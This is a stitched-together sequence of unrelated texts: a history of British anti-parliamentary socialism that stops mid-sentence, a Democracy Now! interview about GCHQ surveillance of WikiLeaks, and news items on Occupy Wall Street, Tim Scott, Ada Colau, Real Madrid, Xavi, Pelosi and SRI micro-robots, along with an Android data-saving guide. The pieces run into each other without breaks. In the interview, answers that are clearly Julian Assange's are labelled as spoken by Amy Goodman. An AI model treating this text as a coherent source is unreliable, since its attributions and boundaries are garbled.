Rank and file members of socialist bodies were starting to question the established political shibboleths of their particular group. SLPers, for instance, started to query the DeLeonist attitude to parliamentary action; some like Joseph Linden, leaving the SLP to join the anarchists. Within the anarchists too there was dissent. Robert Selkirk, an anarchist from Cowdenbeath, questioned Aldred's rejection of the workshop struggle: "It is as well to speed the day when `the Socialist organisations will cease to be the glorified debating clubs and become fighting units'. And this can be done in the despised `workshop struggle"' (quoted by Aldred in The Spur, June 1919). A number of anti-parliamentarians and anarchists (like R.M. Fox and E.T. Whitehead) accepted the importance of the `workshop struggle' at this time and thus came close to the position of dissident SLPers and socialist militants in the Shop Stewards and Workers' Committee Movement.
The important point to note here, is that these questions were a matter for debate and discussion within a developing anti-parliamentary movement. Thus on the 'workshop struggle', for example, Aldred was able to make a speedy and effective reply to "such palliative fights for petty ends", as he viewed them, in his debate with T.L. Smith of the Workers International Industrial Union (WIIU) (The Spur, August 1919). There were other fierce arguments between collectivists and communists, between those for and against action in the workshop, and between others on the precise nature of the antiparliamentary attitude to the ballot box. Such arguments were, however, as Aldred noted in 1918, "becoming less real", with a "growing tendency of socialists to accept a common theory and to meet on a common democratic footing" (The Spur, March-April 1919). Moreover, this iendency was a "natural growth, capable, truly, of extensive and intensive cultivation; but still a vita: development from within a movement..." But in 1918 Aldred was well aware of "a hypocritical parade of unity" by those whose "desire is not for unity, but for capture". Such a "mechanical inspiration from without", as Aldred described it, would destroy the natural growth within the movement towards unity, and this is precisely what happened at the Communist Unity Convention in 1920.
But what happened in the intervening years? A number of important initiatives were made in this period (1918-20) to articulate the approaching unity in organisational terms. I will briefly examine two of these initiatives: the formation of the Communist League and that of the Labour Abstentionist Party - both established in 1919.
The more important of the two, the Communist League, was an attempt to unite dissident branches of the SLP with London anarchists centred on The Spur and Freedom papers. From it we get |
our lawyers, for example, like Michael Ratner, who’s based in New York.
AMY GOODMAN: Julian, we have Michael here, but I did want to ask—you’ve been in the embassy, haven’t had natural daylight, sunlight, for 608 days. How are you? And does the information that has come out of this change in any way what your thoughts are about your future?
AMY GOODMAN: Well, I just find it helpful that—in preparing the asylum application, of course, we looked into many details like this that were quite technical, a big puzzle of many pieces, which some organization, like a foreign office or the Ecuadorean Department of Foreign Affairs, has the time to assess, but of course it’s harder for the public to understand, that documents like this show very readily sort of the scale of the U.S. response to our publications and why it’s, unfortunately, necessary for me to apply and receive asylum and for some of our other personnel, like Sarah Harrison, who’s a British citizen, to be in legally advised exile in Germany.
AMY GOODMAN: And will the information about whether there is a sealed indictment, which this seems to indicate there isn’t—do you have any further information about that, an indictment against you in the United States?
AMY GOODMAN: The district attorney of Virginia gave the last information on that issue and formally stated publicly that the investigation continues.
AMY GOODMAN: Well, Julian Assange, we want to thank you for being with us, founder and editor-in-chief of WikiLeaks. Will this change anything you do inside the embassy, when you see how—further information about your being monitored and people even going to the website—what is it—GCHQ, the equivalent of the NSA in Britain, collecting the IP addresses in real time of people who even access the WikiLeaks site?
JULIAN ASSANGE: The WikiLeaks security model has always been predicated under the basis that we are dealing with very powerful organizations that do not obey the rule of law, whether those are powerful criminal organizations, whether those are corrupt governments in Africa, or whether they’re spy agencies allied with the West or Russia or China. And so, it doesn’t—we’ve always been prepared to defend against that sort of scrutiny. The U.K. government has publicly admitted that they’ve spent six million pounds in the last year surveilling the embassy through police forces alone. We see from these documents that we must assume that GCHQ is also monitoring the situation. That’s part of—I suppose, part of the sad state of the rule of law in the West, where these organizations behave that way. I think the days are clearly numbered that they can get away with it without being exposed. But I’ll leave you to Michael Ratner now.
AMY GOODMAN: Thanks so much, Julian. Julian Assange, founder and editor-in-chief of WikiLeaks. When we come back, we are joined by Michael Ratner, legal adviser to Julian Assange. We’ll also be joined from London, not in exile in the Ecuadorean embassy, but in a studio in London, by Jesselyn Radack, the legal adviser to Edward Snowden who was stopped at Heathrow Airport on Sunday, asked, “Who is Edward Snowden? Where is Bradley Manning?” and other such questions. Stay with us.
[break]
AMY GOODMAN: This is Democracy Now!, democracynow.org, The War and Peace Report. I’m Amy Goodman, with Nermeen Shaikh.
NERMEEN SHAIKH: Top-secret documents leaked by Edward Snowden have revealed new details about how the United States and Britain targeted the whistleblowing website WikiLeaks after it published leaked documents about the Afghan War. According to a new article written by Glenn Greenwald and Ryan Gallagher published this morning by The Intercept, Britain’s top spy agency, the Government Communications Headquarters, or GCHQ, secretly monitored visitors to a WikiLeaks site by collecting their IP addresses in real time as well as the search terms used to reach the site.
AMY GOODMAN: One of the documents leaked by Edward Snowden details a “manhunting timeline” that shows how the U.S. tried to pressure other nations to prosecute Julian Assange. One read, quote, “The United States on 10 August urged other nations with forces in Afghanistan, including Australia, United Kingdom, and Germany, to consider filing criminal charges against Julian Assange.”
Joining us now is Michael Ratner. He is the president emeritus of the Center for Constitutional Rights, which is the legal adviser to Julian Assange.
So, talk about this last point, Michael, first what you’re most surprised by in this piece that just came out at The Intercept, and particularly the U.S. pushing other countries to prosecute Julian.
MICHAEL RATNER: Well, what I was really shocked by was the extent the U.S. and U.K. have gone through to try and get and destroy WikiLeaks and Julian Assange and their network of supporters. I mean, it’s astounding. And it’s been going on for years. And it also, as Julian pointed out, tells us why he is in the Ecuadorean embassy and why Ecuador has given him asylum. He has every reason to heavily fear what would happen to him in this country, in the United States, if he were to be ever taken here. So I think, for me, that’s a very, very critical point, justifies every reason why Ecuador gave him asylum.
And the document you’re addressing, Amy, what they call the manhunt timeline, which is extraordinary because it groups him among, you know, a whole bunch of people who the U.S. considers terrorists, it also, interestingly, groups them—groups them among Palestinians, which is pretty interesting in itself. But to have Julian on that list as a manhunt timeline, and it says prosecute him wherever you can get him, is pretty extraordinary. It doesn’t say you necessarily need a good reason to prosecute him; it just says, basically, prosecute him. And what it’s reminiscent, to me, is of the program that took place in this country in the ’60s and the ’70s, COINTELPRO, counterintelligence procedures, when the FBI said, “We have to basically destroy the black civil rights movement, the New Left and others, and prosecute them, get them however you can, get rid of them.” And so, the manhunt timeline, even its name is chilling. But that’s what it is. It’s an effort to try and get WikiLeaks and their personnel, wherever they are in the world.
And, of course, we’ve seen some of that. You’ve had people on this show. When people cross borders who are associates with WikiLeaks, they get stopped. They get surveilled all the time. We’ve seen—we’ve seen efforts to take—to basically destroy WikiLeaks by stealing their laptops on a trip that went from Sweden to Germany. We’ve seen efforts across the board, in country after country. Germany, they surveil conferences when WikiLeaks people speak there, everywhere. So, actually, this program is not just an abstraction. This program has been implemented. And the manhunt timeline, I think, is incredibly significant, considering that the manhunt is an effort to locate, find and destroy—in some cases, kill—kill people.
NERMEEN SHAIKH: And, Michael Ratner, what do you think the appropriate response should be to something like that? Is there any legal action that Assange’s legal team can take in response to this?
MICHAEL RATNER: Julian Assange, in his statement to the article, said that he felt that the U.S. ought to appoint a special prosecutor, not just to investigate what’s happening to WikiLeaks and a publisher and journalist, but across the board what’s happening to publishers and journalists in this entire country right now and around the world, where the U.S. is trying to basically say publishing is a crime. And that’s what they’re saying. That’s what the Obama administration is saying. And Julian is strongly suggesting, and I support, the idea of a special prosecutor to look into this.
NERMEEN SHAIKH: Is that aspect of it unprecedented, though? I mean, you drew comparisons between COINTELPRO and manhunt timeline, but the fact that publishing, people who work in journalism, are being monitored in this way by intelligence agencies here, has that occurred before?
MICHAEL RATNER: On this level, I don’t think it’s occurred, on this extreme level. You had the manhunt program. You also had what they call—what do they call it? The ANTICRISIS GIRL program. And that’s the dragnet—I don’t know how it got that name.
AMY GOODMAN: Explain, ANTICRISIS GIRL program.
MICHAEL RATNER: What does—what is that about? I mean, I don’t know. Except what it is, is whenever I search for WikiLeaks on my computer, or when I go visit the WikiLeaks site, in real time, the GCHQ, the British intelligence agency, can take in my IP address, take in what I’m searching for in real time. Now, they gave an—they did a number of slides showing how they could do this. We don’t know how extensively they’ve implemented that program, but that means that every one of us who have ever gone to a WikiLeaks site to look for a document could technically be surveilled and our IP address taken in.
AMY GOODMAN: And also the hacktivist group Anonymous and Pirate Bay. Explain.
MICHAEL RATNER: Well, Anonymous, they actually did designate as what they call a malicious foreign actor. And a malicious foreign actor, which is what they were deciding whether to designate WikiLeaks as or not—and we don’t know what the final decision was, whether WikiLeaks was designated as a malicious foreign actor, but Anonymous apparently was. And what it means is any restrictions on government surveillance of anything—my conversations, my email—are completely lifted, whether you’re an American or whatever. Any of my communications to anywhere in the world to that website, to Anonymous, going on chat rooms with Anonymous, going on tweets with Anonymous, those can be taken in and surveilled. It’s an incredibly broad power. We don’t know, as I said, if it was used against WikiLeaks. It was certainly discussed, and they asked to use it against WikiLeaks. We will know, I hope, soon, if and when a lawsuit is ever filed around these issues.
NERMEEN SHAIKH: And what do the documents reveal about what the U.S. officials said they were doing and what in fact they were doing? Because not only was their surveillance of U.S. citizens problematic, but also of foreign citizens.
MICHAEL RATNER: Well, I’m sorry, I’m not following the question exactly, Nermeen.
NERMEEN SHAIKH: I mean, in other words, Michael Ratner, the U.S. officials have claimed that they only surveil foreign—foreign citizens who are, in some sense, either potentially guilty of or likely to be involved in terrorist activities. But if you’re monitoring every visitor to a website, whether it’s WikiLeaks or Pirate Bay or—I mean, that’s obviously not the case.
MICHAEL RATNER: You know, this is just obfuscation and lies by our officials, which has been consistent. Obviously, if there’s a WikiLeaks website overseas, what they’re really saying is everybody who visits that website, American or otherwise, we can surveil. So it’s complete—it’s complete B.S. This is just untrue. We are all being surveilled.
AMY GOODMAN: Michael, we want you to stay with us as we bring in another guest from London. Nermeen?“Our environmental crisis [has] roots seeded in Wall Street’s influence on our economy and in Washington.”
By TIM HERRERA, AMNY.com
As Occupy Wall Street marks its one-year anniversary today with rallies and yet another “comeback” around town, the group faces familiar headlines about mass arrests and questions about its mission.
Over the weekend, at least 40 protesters were arrested as OWS returned from its slumber to commemorate its first rallies at Zuccotti Park last year. Its three-day schedule culminates in an occupation of the New York Stock Exchange today. (The National Lawyers Guild, which represents many of the arrested, said at least 50 were cuffed.)
Organizers hope today will give OWS yet another shot at national relevance.
“Today is really about showing our strengths and how much organizing we’ve done over the year and really to have a great kickoff to year two,” said Linnea Palmer Paton, 24, who helps organize events for OWS.
“The broad message here today and going forward, the tagline for the whole weekend, is that all roads lead to Wall Street,” she said. “Health care, the electoral process, our environmental crisis, all of these problems have their roots seeded in Wall Street’s influence on our economy and in Washington,” which she said will be focal points for the year ahead.
Protesters will start today at various points in the Financial District, putting up “people’s walls” in streets and landmarks. They will converge at the NYSE at 10 a.m. for a mass sit-in, hoping to cut off all access to the exchange. Rallies will continue for the rest of the day, ending with a meet-up at Zuccotti Park.
Today’s protest is the largest since OWS’ highly promoted but underwhelming “May Day,” one of the group’s many attempts at regaining its past energy.
From its inception last September until the end of 2011, the group grabbed consistent national attention for its massive encampment at Zuccotti, where hundreds of people settled for nearly two months. Skirmishes with police were regular, and reached a fever pitch in October on the Brooklyn Bridge, where more than 700 were arrested out of the thousands who were there.
Experts said OWS will probably never regain the energy it had in its first few months.
“It’s unlikely that they’ll recapture the momentum,” said Andrew Ross, a professor of social and cultural analysis at NYU. “You only get one chance to be the media darling, [and] in large part they were because of the encampment at Zuccotti.”
He added: “You don’t have encampments, you don’t have the spectacle.”
Columbia University journalism professor Todd Gitlin, who wrote a book about OWS, said the movement needs to more cohesively include union members, state reform program leaders and others who aren’t “24/7 activists” to evolve.
“It’s been straining to relaunch,” he said.
“It’s been tangled up in internal quarrels and confusions, and I think — though I’m not sure how many of the inner core would agree — wrestling with the fact that it [hit] its limit,” Gitlin said.
Some New Yorkers agree.
“At first I thought it was great,” said Charles Greene, 29, of Sheepshead Bay. But now “it’s just a bunch of 20-somethings on the street. There’s a lot to be done. But what’s the plan? What are you guys going to do with your lives?”
Ross said that main organizers will likely keep working, but in a less “media-friendly” way.
“When you’re building a political movement, it takes more than a year,” Ross said. “And I think there’s a core of occupiers who are committed to the long term.”
Source
For updates from the Occupy Wall Street folks check here
AdvertisementsReal Madrid were expected to complete the deal for Dani Ceballos early this week and yet no announcement has been made. Apparently, Los Blancos are trying to split the fee while Betis wants a single payment, with Madrid supposedly having the edge in the talks given that they could just pay Ceballos’ release clause and be done with it.
Still, an agreement is expected to be reached in the upcoming hours, according to MARCA, and Ceballos will be announced as a Madrid player sooner rather than later. He should join Madrid’s pre-season tour with Marco Asensio, Marcos Llorente and Jesus Vallejo, his teammates in Spain’s U21 who were given more days to rest after the U21 Euro.
Ceballos wants to be a member of the first team this season and apparently he will be on the roster. Coach Zidane will have to stay loyal to his rotation policy in order to find him enough minutes.Rep. Tim Scott (R-S.C.) grew up in Charleston, S.C., where he was raised by his mother after his parents divorced when he was 7.
Rep. Tim Scott (R-S.C.) grew up in Charleston, S.C., where he was raised by his mother after his parents divorced when he was 7. Melina Mara/The Washington Post
Timothy Eugene Scott was growing up poor and black in Charleston, S.C., the son of a nurse’s aide who worked 16-hour shifts, when Strom Thurmond, who ran for president as the standard-bearer for segregationists, was at the peak of his powers in the Senate.
On Monday, the congressman was named to fill the office once held by Thurmond (R), making him the first black Republican to serve in the Senate since Edward Brooke of Massachusetts lost his bid for reelection in 1978. It also makes him the first African American senator from the South since Reconstruction and only the seventh black person ever to serve in that chamber. Gov. Nikki Haley (R) selected him to succeed Jim DeMint (R), who is retiring.
The appointment propels Scott, 47, into the front ranks of a Republican Party trying to demonstrate that it can speak to a broader, non-white constituency. He joins Sen. Marco Rubio (Fla.), Sen.-elect Ted Cruz (Tex.) and Louisiana Gov. Bobby Jindal in putting a more diverse face on the GOP.
“It is a great day for South Carolina. It is a historic day for South Carolina,” said Haley, the daughter of Indian immigrants who broke her own ground as the state’s first female governor, speaking at the statehouse in Columbia.
As the only black U.S. senator, Scott will become one of the most visible and important conservative figures in the country, one whose new prominence will require him to navigate a new set of political realities.
Sen. Lindsey O. Graham (R), the state’s senior senator, advised Scott that the way to deal with that is to stay true to himself.
“You got here by being Tim Scott — not Lindsey Graham, not Jim DeMint,” Graham said after Haley announced her pick. “You have a unique opportunity for the conservative cause. You have unique burdens.”
Scott credited the mentoring of a Charleston businessman and the tough love of his mother. “I am thankful to the good Lord and a strong mom who believes love has to come at the end of a switch,” he said.
His rise to the Senate would be historic had it happened anywhere in the Deep South. That he has come to power in South Carolina — home to an especially brutal tradition of racially charged politics and where the Confederate flag still flies in front of the statehouse — gives the story even more resonance.
But state political observers said Monday that Scott’s voting record and close tea party ties made him an unsurprising selection to succeed DeMint, a godfather of the conservative insurgency who is leaving the Senate to head the Heritage Foundation. Others Haley reportedly considered include Reps. Trey Gowdy and Joe Wilson, and former state first lady Jenny Sanford.
“In terms of temperament and philosophy, he was a natural choice,” Robert Oldendick, a political scientist at the University of South Carolina, said of Scott.
Conservative leaders hailed the appointment. “Kudos to Governor Haley for choosing a proven fiscal conservative to continue the legacy set by Jim DeMint,” FreedomWorks President Matt Kibbe said in a statement. “We are confident that Tim Scott will be a leading voice to advance the principles of individual freedom and limited-government, and he will be an excellent addition to a growing caucus of fiscal conservatives in the Senate.”
At Monday’s announcement, Scott sounded every bit the tea party stalwart.
“Our nation finds itself in a situation where we need some backbone,” he said. “If you have a problem with spending, there’s not enough revenue to make up for it.”
Scott is accustomed to breaking barriers. His 1995 election to the Charleston County Council made him the first African American Republican to hold any state office since 1902. That led to him serving as state co-chairman of Thurmond’s final Senate campaign, in 1996.
He moved to the state legislature in 2008 and two years later beat Thurmond’s son and Carroll Campbell III, the son of a former governor, in the Republican primary for the state’s 1st Congressional District.
As a freshman, he joined the call to repeal the Patient Protection and Affordable Care Act and opposed an increase in the federal debt ceiling. He is a steadfast supporter of gun rights who received a 92 percent voting rating from the National Rifle Association.
Oldendick said Scott has advanced by remaining faithful to the tea party agenda.
“We talk about Barack Obama transcending race. I think Tim Scott does that on his side. He’s able to vote conservatively without offending people,” he said.
Scott’s highest-profile moment until Monday was probably a two-minute speech at the Republican National Convention.
“Let me close by giving President Obama a heartfelt message from the good people of South Carolina,” he said, before bursting into a sort of half-song, half-chant: “Hit the road, Jack! And don’t you come back no more, no more, no more!”
Rep. Emanuel Cleaver II (D-Mo.), chairman of the Congressional Black Caucus, which Scott declined to join when he arrived in Washington, praised Scott as a colleague. “I like Tim Scott,” Cleaver said Monday on MSNBC’s “Morning Joe.” “Because he’s a good guy. He doesn’t say crazy things, he doesn’t attack people with nasty labels.”
That said, Cleaver added, he does not expect Scott to depart from DeMint on the issues. “Tim Scott is going to have essentially the same policies DeMint had,” he said.
Scott comes to national prominence with a remarkable personal story of resilience and good fortune. In an essay on his 2010 campaign Web site, he said he was flunking out of high school as a ninth-grader.
“I found myself in a position where I felt like the future was nonexistent,” Scott said. A year later, he met John Moriz, a conservative businessman who ran a Chick-fil-A restaurant where Scott ate when he worked at a movie theater next door.
“One day he came down to the movie theater and slid a Chick-fil-A sandwich across the desk. John was smart enough to know that food is a good way to start a conversation with a kid who likes to eat,” Scott said. Over the next few years, he said, Moriz, who is now deceased, taught him about self-reliance and individual responsibility.
“John transformed my way of thinking, which changed my life. It was interesting, because the lessons that John was teaching me were maybe simple lessons, but they were profound lessons,” Scott said. He eventually attended Presbyterian College on a partial football scholarship and graduated from Charleston Southern University. He worked in insurance and real estate before entering politics.
Scott will have to work hard to hang on to the Senate seat. He will face a special election in 2014 for the final two years of DeMint’s term, and if he wins, another race in 2016 for a full six-year term.From 'Occupying' A Spanish Bank To City Hall: Barcelona's New Mayor
Enlarge this image toggle caption Quique Garcia/AFP/Getty Images Quique Garcia/AFP/Getty Images
One of the most-tweeted photos in Spain these days shows riot police hauling away Ada Colau. The image is from July 2013, when the anti-poverty protester was trying to "occupy" a Barcelona bank that was foreclosing on homes.
The caption added by Twitter users: "Welcome, new mayor."
Colau is the first of the indignados, or angry ones — Spain's Occupy movement — to win office. She narrowly defeated Barcelona Mayor Xavier Trias in local elections Sunday.
Cheers of "Sí se puede!" — "Yes we can!" — went up through the crowd at Colau's campaign headquarters in Barcelona overnight, when vote tallies showed she had won.
"This is a victory of David over Goliath," Colau told supporters, beaming.
The 41-year-old made her name fighting foreclosures during Spain's economic crisis — by physically trying to block police from serving eviction notices at people's homes. She's been detained by police dozens of times. She has never previously held public office.
Two years ago, she testified before parliament at a hearing about Spain's foreclosures crisis. On the panel, Colau spoke right after a representative of Spain's banking industry.
"This man is a criminal and he should be treated like one," she said at the time, her voice shaking with rage.
Lawmakers' jaws dropped. Colau got a reprimand from parliament, but her speech endeared her to millions of Spaniards hurt by layoffs and austerity.
"Our politicians prioritized rescuing Spanish banks, over rescuing Spanish citizens," Colau told NPR in a recent interview, reflecting on that February 2013 parliamentary hearing that catapulted her to fame. Video of her rant went viral on Spanish TV and social media.
"I wanted people to wake up and realize that we delegated our democracy to those who drove us to ruin, both economically and politically," Colau says. "Calling him a criminal was the least I could do."
In 2009, Colau founded Spain's Platform for People Affected by Mortgages (PAH), a group that works to help borrowers remain in their homes, while struggling to keep up with mortgage payments. Colau served as the group's spokeswoman until last year, when she stepped down to enter politics. In 2013, the European Parliament awarded Colau and the PAH the prestigious European Citizens' Prize for "fighting for European values."
Colau now heads a local Barcelona political faction called Barcelona en Comú — Barcelona in Common, in the local Catalan language — through which she ran for mayor, and won. Her local party is affiliated with Spain's left-wing anti-austerity party Podemos, or "We Can," in Spanish.
In local elections across Spain on Sunday, grassroots activists like Colau broke the monopoly of Spain's two main parties, the Socialists and the ruling conservative Popular Party, which have ruled the country for decades.
"She's transparent, she's honest, she speaks the language of the people — and she has managed to touch what Barcelona was feeling," says Antonio Roldan, a Spain analyst at the Eurasia Group in London. "The Popular Party had absolute majorities in almost regions and now they have none. So it's a new period of cleaning up the corrupt establishment in some of these municipalities that have been for many years dominated by the two big parties."
Podemos is led by Pablo Iglesias, a 36-year-old political science professor with a ponytail. He campaigned for Colau in Barcelona.
"We're not like other politicians supported by the banks. Our creditors are the people," Iglesias said at a recent rally, with Colau beside him.
Grass-roots activists like Iglesias and Colau hope these local election victories will lead to national ones in parliamentary polls later this year.Increasingly sophisticated phones and data-hungry applications make it easier than ever to blow through your cellphone plan’s data cap…and incur nasty overage charges. Read on as we show you how to manage your data use.
Just a few short years ago it would have been almost unheard of to blow through multiple GB of mobile data. Now apps have ballooned in size (it’s not uncommon for apps and their updates to exceed 100MB in size), and with streaming music and video becoming more popular, it’s easy to burn through your data cap in a matter of days.
Watching an hour of standard definition streaming video on Netflix or Youtube will readily and easily chew through a gigabyte of data. Bump that stream up to HD, and the data usage basically triples–about three gigabytes of data will be used. Streaming high-quality music over services like Google Play Music or Spotify? You’re looking at about 120MB an hour for that. It may not seem like much at first, but do that for an hour a day for a week and you’re up to 840MB. An hour a day for a month puts you at roughly 3.2GB. If you’re on a 5GB data plan, you just used roughly 65% of it on music alone.
Sure, you could pay more for a bigger plan, but who wants to do that? Before you fork over your hard-earned dollars, here are some tricks for reducing your data usage (and keeping an eye on it).
How to Check Your Data Usage
Before anything else, you need to check your data usage. If you don’t know what your typical usage looks like, you have no idea how mildly or severely you need to modify your data consumption patterns.
You can get a rough estimate of your data usage using Sprint, AT&T, or Verizon’s calculators, but the best thing to do is actually check your usage over the past few months.
The easiest way to check past data usage is to log into the web portal of your cellular provider (or check your paper bills) and look at what your data usage is. If you’re routinely coming in way under your data cap, you may wish to contact your provider and see if you can switch to a less expensive data plan. If you’re coming close to the data cap or exceeding it, you will definitely want to keep reading.
You can also check your current month’s usage right from Android. Navigate to Settings > Wireless & Networks > Data Usage. You’ll see a screen that looks something like the first screen here:
If you scroll down, you will see the cellular data usage by app, as seen in the second screenshot above. It’s important to note that these charts only show data sent through your cellular data connection and not your Wi-Fi connection. You might be a YouTube junkie, but if you do all your watching while connected to your home network, it won’t register here. If you want to see your Wi-Fi data usage as well, hit the menu button and select “Show Wi-Fi usage.”
It’s worth mentioning that you will need to specify your billing cycle here for the most accurate look at your data usage. Since your data will reset on the first day of the new cycle, it doesn’t matter what you used the month before, so you don’t want that skewing the results.
In addition to monitoring, you can also set data warnings by adjusting the the slider bar to your liking—when you reach the amount specified by the cut off limit, you’ll get a warning to let you know where you’re at.
You can also enable the “Set mobile data limit” option, then use the orange slider to specify where you’d like data to be cut off completely. Once you’ve hit that limit, mobile data will be disabled on your phone until you turn it back on.
How to Keep Your Data Use in Check
There are two kinds of data sinks when it comes to mobile devices. First, there’s the obvious user-driven data consumption, or “foreground data”. When you watch a high-quality video or download a new album, you’re directly contributing to increasing your data usage for that month, assuming you’re on mobile data and not Wi-Fi.
Obviously, to use less foreground data, you need to consciously stop downloading, streaming, and browsing so much.
Less obvious to most people, though, is the fairly large amount of behind-the-scenes data churning through your connection—the “background data”. Polling for Facebook updates, high-frequency email inbox checks, automatic application updates, and other background activities can put a real dent in your data allotment if you aren’t careful. Let’s take a look at how we can curtail some of this.
First: See Which Apps Are Using Data
First, let’s investigate which apps are actually generating notable amounts of background data. Head back to Settings > Wireless & Networks > Data Usage to see your apps, in order of data usage. You can tap on individual applications to see a more detailed view. Here we can see the foreground and background usage:
This will help immensely in the steps below. If you know which apps are using the most data, you know which apps to focus on fixing.
Use Android Nougat’s “Data Saver” (Android 7.0+)
Android 7.0 Nougat introduced a much more granular way to take the reins on your mobile data with a new feature called Data Saver.
Basically, this allows you to limit background data used by apps, but whitelist anything that want to have unrestricted access. This means background data is disabled for every app by default, then you can pick and choose where to grant unlimited access.
To get started, pull down the notification shade and tap the cog icon to jump into the Settings menu.
Under the “Wireless & Networks” section, tap the “Data usage” entry.
Just beneath the Cellular Usage section you’ll find the “Data Saver” option. This is where the fun starts.
The first thing you’ll need to do toggle this bad boy on using the little slider at the top. A new icon will show up in the status bar as well—to the left of the other data icons (Bluetooth, Wi-Fi, Cellular, etc.).
Keep in mind that once you turn this on, background data access will be restricted for all apps. To change that, tap the “Unrestricted data access” box.
This will bring up a list of all currently-installed applications on your phone. By toggling the respective app’s slider to “on,” you’re essentially allowing it to have unrestricted access to background. Thus, if you want things like Maps, Music, or Facebook to always be able to get the data they need, make sure to toggle those to “on.”
And that’s all there is to it. It’s worth keeping in mind that this only applies to mobile data—all apps will remain unrestricted while on Wi-Fi.
Use Google’s Datally App (Android 5.0+)
If you don’t have Android Nougat, you have a few other options.
Google recently released a new app called Datally designed to track data usage, block it on an app-by-app basis, and even help you find free public Wi-Fi.
When you first open the app, it’ll ask you for a bunch of permissions, ask you to allow usage access, and ask if you want to send Google your app data and SMS’s to improve Datally. You’ll need to grant the first two permissions, but you can skip the third if you want.
Datally’s home screen shows you how much mobile data you’ve used today, and which apps are using the most. You can tap “Find Wi-Fi” to find free Wi-Fi networks near you, which is pretty handy.
Swipe the “Set Up Data Saver” switch to start using Datally. It will ask you to allow Google’s VPN—this is required for Datally to work, as it’s how Datally keeps track of your data usage and blocks it on the fly. (We’re not positive why Datally requires a VPN to do this when Android’s built-in settings do not, but we expect it’s because Datally is a separate app, not integrated into the operating system itself. This would also leave open the possibility of iOS support, if Google wanted to go that route.)
Once you allow that, you’ll see a persistent notification showing that Datally’s Data Saver is on, and it’s blocking background traffic for most of your apps.
Here’s where Datally starts to get useful. When you open an app, a small bubble will show up on the side of your screen. Datally will allow data usage for that app while you use it, and show you how much you’re using in real time. When you exit the app, it will begin blocking data again. (Though you can tap on the bubble at any time to block data while you use it, too.)
Note that, due to the way Datally works, you won’t be able to use other apps with Accessibility Services or VPNs while using Datally in this way.
You can also choose which apps to block and unblock from Datally’s “Manage Data” page.
Overall, Datally is a slightly more advanced version of Nougat’s Data Saver in the form of a separate app, which is good if you want to keep a constant eye on how much data certain apps are using. For most people, Nougat’s built-in settings are probably fine, but Datally is another good option (especially if your phone doesn’t have Nougat).
Limit Background Data, App by App
If you’d rather not use another app to perform these tasks, you can do a lot of manual settings tweaking yourself to reduce data.
To start, go back to your home screen and open one of the apps that’s using too much data. See if it has any settings designed to restrict data usage. Rather than use Android to restrict Facebook’s data use, for example, you can jump into the Facebook app and turn down the frequency of push notifications or turn them off altogether. Not only does turning off notifications and constant polling cut down on your data use but it’s great for extending your battery life.
Not every app will have these kind of settings, however–or have as fine-tooth control as you wish. So, there’s another option.
Head back to Settings > Wireless & Networks > Data Usage and tap on an app. Check the box labeled “Restrict Background Data” (in Nougat, this is just a switch called “Background Data”, which you’ll want to turn off instead of on). This will limit its data usage from the operating system level. Note that this only applies to a mobile data connection–if you’re on Wi-Fi, Android will allow the app to use background data normally.
Turn Off All Background Data
If that isn’t enough, you can also turn off all background data with the flip of one switch—this reduces your data usage in most instances, but it can also be inconvenient as it doesn’t differentiate between data sippers and data hogs. From the Data Usage menu you can press the menu button and check “Restrict Background Data”. This will turn off background data for all applications.
Turn Off Background App Updates
Google realizes how precious your mobile data is, so app updates–which could arguably use up more of your data than anything else–will only happen automatically when you’re on Wi-Fi, at least by default. To make sure this is the case (and that you didn’t change it somewher down the line), head into the Play Store and open the menu. Jump into Settings, then make sure “Auto-update apps” is set to “Auto-update over Wi-Fi only.”
A quick note before we continue: as we talk about restricting background data usage, we want to make it very clear that these restrictions only apply to your mobile data usage; even if you heavily restrict an application it will still function normally when you are on Wi-Fi.
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2008 and 2012, while adding the World Cup in South Africa in 2010.
At the Euro finals of 2008 he was named the player of the tournament.
His final campaign for the national team ended in disappointment with Spain failing to progress beyond the group stage in Brazil last month as they suffered defeats by the Netherlands and Chile.
He made his international debut in 2000, the same year he helped Spain win an Olympic silver medal in Australia.
Xavi, who has confirmed he will see out the final two years of his Barcelona contract, said: "I’m grateful for all those years and it has been a fantastic time.
"I'm grateful to everybody at the Federation, it's been a marvellous time for me to be there for so many years and have so much success.
“I'm leaving very proud and I wish them all the best. From now on I'm another fan of the Spain team."
As for quitting Spain at this particular time, following a dismal World Cup finals in South America, he added: "I was disappointed on two levels at the end of last season as I did not feel useful to Barca or to the national team.
"Brazil was disappointing for everyone collectively and for me also individually and the fact that I did not take part in the decisive game against Chile was a personal disappointment."
Xavi quits the international scene as his country's second most-capped player behind Real Madrid goalkeeper Iker Casillas, who has represented Spain 156 times.Nancy Pelosi suffered an ill-timed brain freeze on Thursday, just as she was questioning Donald Trump’s “fitness” to serve as president.
The House Minority Leader was criticizing the Republican tax plan during a press conference when the topic turned to articles of impeachment that were filed by several House Democrats this week.
Seeking to distance herself from from the impeachment push, Pelosi said, “People want to go do some other things, that’s up to them, but that’s not what our focus is.
“Our focus is on (the tax fight). The, uh—” she said before trailing off and staring at reporters. “Public— has questions about the fitness of this president to be president,” she insisted, recovering from her apparent brain freeze, “and that’s a, a legitimate discussion.
“But our focus, our energy, our, uh— purpose is to get a better deal for the America’s working— America’s working families,” she repeated.The first generation of the micro-robots had different tools attached to them to perform specific tasks. Now those tools can be fabricated as required. – SRI International
US research institute SRI International has been at work for some time developing construction micro-robots on a tiny scale that work as a co-operative swarm to make macro structures.
The bots are really just magnets controlled by magnetic fields generated by a printed circuit board substrate.
Simple, low-cost materials allow the cost-effective production of large numbers of micro-robots that can handle a wide variety of solid and liquid materials – including electronics, SRI says.
The underlying circuit boards determine the direction they take and their speed – and they can move fast – up to 35 centimetres per second – climbing in any orientation, even on flexing surfaces.
They are controlled to run parallel tasks like an army of ants. Each identical bot is distinguished by its “end-effectors” – the tools that perform the specific tasks designated for each individual bot.
Each micro-robot is a simple magnet so manufacturing many, which can work together as a swarm, is simple and cost-effective. – SRI International
“Our vision is to enable an assembly head containing thousands of micro-robots to manufacture high-quality macro-scale products while providing millimetre-scale structural control,” SRI says. “For example, some micro-robots will carry components – electronic as well as mechanical – some micro-robots will deposit liquids, and others will perform in situ quality analysis.
“Mounted to a mobile robotic base, a microfactory will be able to build parts of practically any size.”
The video below shows them in operation in what is, in effect, a microfactory.
But now SRI has developed a way to make the micro-robots more self-sufficient, by fabricating their own tools as required.
Each of the bots is identical, except for the tools, or “end-effectors”, that allow them to perform their designated tasks.
